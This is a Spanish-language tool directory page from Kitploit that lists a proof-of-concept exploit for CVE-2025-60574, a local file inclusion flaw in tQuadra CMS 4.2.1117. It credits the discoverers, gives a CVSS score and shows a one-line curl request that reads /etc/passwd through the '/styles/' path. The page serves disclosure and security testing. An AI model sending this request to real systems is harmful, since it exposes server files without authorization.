Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-60574 — Exploit de prueba de concepto para CVE-2025-60574, una vulnerabilidad de inclusión de archivos local en tQuadra CMS 4.2.1117, que permite recuperación arbitraria de archivos mediante solicitudes GET manipuladas. | Kitploit
Herramientas/GitHubGitHub/jacopoaugelli/cve-2025-60574
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de Penetración
GitHubjacopoaugelli/cve-2025-60574

CVE-2025-60574

Exploit de prueba de concepto para CVE-2025-60574, una vulnerabilidad de inclusión de archivos local en tQuadra CMS 4.2.1117, que permite recuperación arbitraria de archivos mediante solicitudes GET manipuladas.

Ver Repositorio
2hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Descubridores de Vulnerabilidades y Autores de Exploits

Stefano Andreatta & Jacopo Candido Augelli

CVE-2025-60574

Descripción de la Vulnerabilidad

Se ha identificado una vulnerabilidad de Inclusión de Archivos Locales (LFI) en tQuadra CMS 4.2.1117. El problema existe en la ruta "/styles/", que no sanea adecuadamente la entrada proporcionada por el usuario. Un atacante puede explotar esto enviando una solicitud GET manipulada para recuperar archivos arbitrarios del sistema subyacente.

Descubridores: Stefano Andreatta & Jacopo Candido Augelli

CVSS 3.1 - 7.5 Alto

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Prueba de Concepto

root@kitploit:~
curl -s https://vulnerable.site.com/styles//etc/passwd --output - | gunzip

PoC.png

Descargar herramienta